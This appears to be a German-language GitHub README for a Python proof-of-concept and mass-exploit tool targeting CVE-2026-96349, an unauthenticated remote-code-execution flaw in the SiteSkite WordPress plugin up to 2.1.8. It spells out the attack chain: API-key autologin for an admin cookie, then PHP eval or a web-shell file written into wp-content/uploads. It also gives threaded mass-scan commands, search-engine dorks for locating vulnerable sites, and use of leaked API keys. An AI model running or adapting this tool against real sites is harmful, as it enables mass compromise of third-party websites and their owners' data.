murrez/cve-2026-96349Python-PoC und Massen-Exploit-Tool für CVE-2026-96349, eine nicht authentifizierte RCE im WordPress-Plugin SiteSkite ≤2.1.8 über API-Key-Autologin und MCP-PHP-Eval.
| Feld | Wert |
|---|---|
| CVE | CVE-2026-96349 |
| Produkt | SiteSkite WordPress-Plugin |
| Betroffen | ≤ 2.1.8 |
| Behoben | 2.2.0 |
| CWE | CWE-94 — Unsachgemäße Kontrolle der Codegenerierung |
| CVSS | 10.0 (Kritisch) — Patchstack-Advisory |
| PoCbit-Katalog | https://pocbit.org/pocs/ |
| PoCbit-Seite | https://pocbit.org/pocs/cve-2026-96349 |
| Verifizierungsmarker | POCBIT-96349-OK |
Python-PoC im selben Stil wie CVE-2026-102425: interaktives Menü, Mass-Exploit (Standard), --check, -u, --lab, Thread-Pool, hits.txt / exploited.txt.
Patchstack und das CVE-Programm beschreiben CVE-2026-96349 als eine nicht authentifizierte Remote-Code-Execution-Schwachstelle im SiteSkite-Plugin. Der öffentliche Text ist bewusst kurz gehalten; der Hersteller-Fix 2.2.0 (September 2026) betrifft stark die Authentifizierung und das Auto-Login. Ein statischer Vergleich von 2.1.8 mit 2.2.0 in diesem Repo (extract-2.1.8/, extract-2.2.0/) zeigt die praktische Angriffsfläche, die dieser PoC implementiert.
SiteSkite ist ein umfangreiches WebOps-Plugin: Backups, Portal-API und On-Site-KI-MCP („Abilities“), einschließlich fortgeschrittener Tools, die eval() auf vom Angreifer gelieferten PHP-Code (siteskite_execute_php) und beliebiges Schreiben von Dateien (siteskite_write_file) aufrufen. Diese Abilities sind über REST und über admin-ajax.php erreichbar, wenn die Website mit einem SiteSkite-API-Schlüssel verknüpft ist.
Der kritische Fehler in ≤ 2.1.8 besteht darin, dass derselbe langlebige API-Schlüssel zugleich als nicht authentifizierter WordPress-Admin-Login-Bearer dient:
AutoLoginController akzeptiert ?token=<siteskite_api_key> unter /siteskite-autologin und über handle_token_login() auf jeder Front-End-URL, die ?token=… enthält.get_option('siteskite_api_key') (keine Portal-Signatur, kein Einmal-Nonce).wp_set_auth_cookie() für den ersten Administrator aufgerufen, mit optionaler 2FA-Umgehung für Solid Security / ähnliche Plugins.2.2.0 entfernt diesen Pfad: Rohe API-Schlüssel-Bearer werden abgelehnt (hash_equals-Prüfungen, „Login Unavailable“), und der Login erfordert vom Portal ausgestellte signierte Links (AutologinPortalSignature). Der Mu-Plugin-Sicherheitskern akzeptiert keine Legacy-Schlüssel-Logins mehr.
Aus Sicht eines Angreifers sieht die Kette so aus:
/?token=KEY oder /siteskite-autologin?token=KEY).POST /wp-json/siteskite/v1/abilities/execute (oder admin-ajax.php?action=siteskite_api) mit dem Header X-SiteSkite-Key: KEY aufrufen und siteskite_execute_php ausführen oder up.php über siteskite_write_file ablegen → POCBIT-96349-OK.Fortgeschrittene MCP-Tools sind in 2.1.8 standardmäßig aktiviert (McpSettings::DEFAULT_ADVANCED = '1'), sodass viele verknüpfte Websites eval bereitstellen, sobald der Schlüssel bekannt ist.
| Komponente | Verhalten 2.1.8 | Änderung 2.2.0 |
|---|---|---|
includes/Core/AutoLoginController.php | ?token= entspricht gespeichertem API-Schlüssel → Admin-Cookie | Roher Schlüssel abgelehnt; nur Portal-HMAC-Login |
includes/Mcp/Abilities/AdvancedAbilities.php | siteskite_execute_php → eval($code) | Weiterhin vorhanden; durch Auth + Einstellungen abgesichert |
includes/Mcp/AbilitiesRest.php | X-SiteSkite-Key → Ausführung von Abilities | Gleiche Angriffsfläche; Autologin gibt keine Session mehr ohne Schlüssel preis |
includes/API/FallbackAPI.php | wp_ajax_nopriv_siteskite_api leitet Abilities weiter, wenn Schlüssel gültig | Erfordert weiterhin Schlüssel / Gast-Schlüssel |
Weitere nicht authentifizierte REST-Routen (UploadRest, OAuth-Registrierung) existieren, erfordern jedoch Tokens oder PKCE; sie sind nicht die hier modellierte primäre Angriffskette.
| Datei | Rolle |
|---|---|
poc.py | CLI / interaktiv / Mass-Exploit |
_engine.py | HTTP-Logik, PoCbit-Metadaten, Lab-Server |
up.php | Optionale Web-Shell-Probe (?pocbit=1 → Marker) |
targets.example.txt | URL-Liste; optional URL<TAB>api_key |
extract-2.1.8/ / extract-2.2.0/ | Herstellerquellcode für Diff (nicht erforderlich zum Ausführen des PoC) |
pip install requests coloramapython poc.py
Prompts: Modus, optionaler globaler API-Schlüssel, Zieldatei, Threads (Standard 16), Timeout.
exploited.txtpython poc.py fofa_targets.txt
python poc.py urls.txt --key YOUR_SITESKITE_API_KEY
python poc.py urls.txt -t 24 -T 25
Pro-Ziel-Schlüssel (Tabulator, Leerzeichen oder Pipe nach der URL):
https://customer.example abc123…siteskiteKey…
https://other.site|anotherKey
Umgebungs-Fallback: SITESKITE_API_KEY oder SITESKITE_KEY.
hits.txtpython poc.py --check fofa_targets.txt
Fingerabdruck: readme.txt Stable tag, veraltete /siteskite-autologin-Antwort bei fehlendem Token, Version ≤ 2.1.8.
python poc.py -u https://target.example --check
python poc.py -u https://target.example --key SITE_SKITE_KEY
python poc.py --lab
Startet 127.0.0.1:8796 mit gefälschter Readme 2.1.8, Autologin und Abilities-Endpunkt; muss "exploited": true zurückgeben.
flowchart LR
A[Target URL] --> B{readme ≤ 2.1.8?}
B -->|no| Z[skip / patched]
B -->|yes| C{API key known?}
C -->|no| N[needs_api_key]
C -->|yes| D[POST abilities/execute]
D --> E{siteskite_execute_php}
E -->|marker| F[RCE verified]
E -->|fail| G[autologin ?token=KEY]
G --> D
E -->|fail| H[write_file / ajax fallback]
H --> F
siteskite_execute_php mit echo POCBIT-96349-OK;route=/abilities/execute)siteskite_write_file → wp-content/uploads/pocbit_96349.phpeval-Drop-Helper für up.phpJSON-Ergebniszeilen enthalten pocbit, pocbit_catalog, pocbit_page, CVE-URLs und verify_marker für Logging-Pipelines.
Beispiele (an den eigenen Indexer anpassen):
body="/wp-content/plugins/siteskite/"
header="siteskite" && body="wp-content/plugins"
Der Check-Modus führt kein Brute-Forcing von API-Schlüsseln durch. Der Exploit-Modus erfordert einen Schlüssel, es sei denn, du hast bereits url\tkey-Paare aus deinem eigenen Portal oder aus Leak-Intelligence.